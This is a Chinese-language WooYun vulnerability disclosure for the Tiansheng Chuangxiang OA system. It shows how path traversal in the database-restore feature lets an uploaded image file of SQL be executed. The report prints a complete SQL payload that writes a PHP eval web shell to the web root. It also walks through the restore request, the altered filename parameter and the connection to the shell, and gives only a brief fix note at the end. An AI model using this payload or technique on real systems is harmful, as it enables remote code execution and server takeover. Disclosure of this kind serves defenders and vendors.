漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2013-045488
漏洞标题:天生创想OA系统GETSHELL漏洞
相关厂商:天生创想OA
漏洞作者: xfkxfk
提交时间:2013-12-11 14:18
修复时间:2014-03-11 14:20
公开时间:2014-03-11 14:20
漏洞类型:文件上传导致任意代码执行
危害等级:中
自评Rank:20
漏洞状态:未联系到厂商或者厂商积极忽略
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2013-12-11: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-03-11: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
天生创想OA通过绕过限制操作任意文件,GETSHELL
详细说明:
看看出现问题的代码:
问题出在数据库备份还原处。
主要在这里的file_get_contents处,把传进来的filename加上filename所在目录就是所要打开的文件路径了。
这里的filename所在目录就是data_dir,也就是数据库备份的的目录data/db/目录了。
正常情况下是data/db/xxx.sql,这是所要还原的数据文件的路径,我们传进来的是xxx.sql文件名,那么我们通过../../就回到了根目录下,就可以跳到其他目录的文件了,这里也没有检测后缀,那么我们传一个内容为sql语句的jpg文件,这里进行还原就会执行我们的sql语句啦。
传文件,这里我们上传的文件内容是sql语句如下:
Drop TABLE IF EXISTS temp;
Create TABLE temp(cmd text NOT NULL);
Insert INTO temp (cmd) VALUES("<?php @eval($_POST['cmd']);?>");
Select cmd from temp into outfile 'F:/wwwroot/Apache2/htdocs/TOA/eval.php';
Drop TABLE IF EXISTS temp;
这样就会在根目录下创建一个eval.php的一句话小马文件。
然后我们随便找一个数据表备份一下,返回了备份sql文件的所在目录:
然后我们来还原一下这个备份的sql文件:
然后抓包:
这里的filename是刚才备份的sql文件,我们修改一下:
成功还原了我们的替换了文件的sql备份文件,我们来连接一下是否创建eval.php成功:
成功连接,拿下shell。
漏洞证明:
修复方案:
控制还原数据的文件类型。
禁止文件包含等。
版权声明:转载请注明来源 xfkxfk@乌云
漏洞回应
厂商回应:
未能联系到厂商或者厂商积极拒绝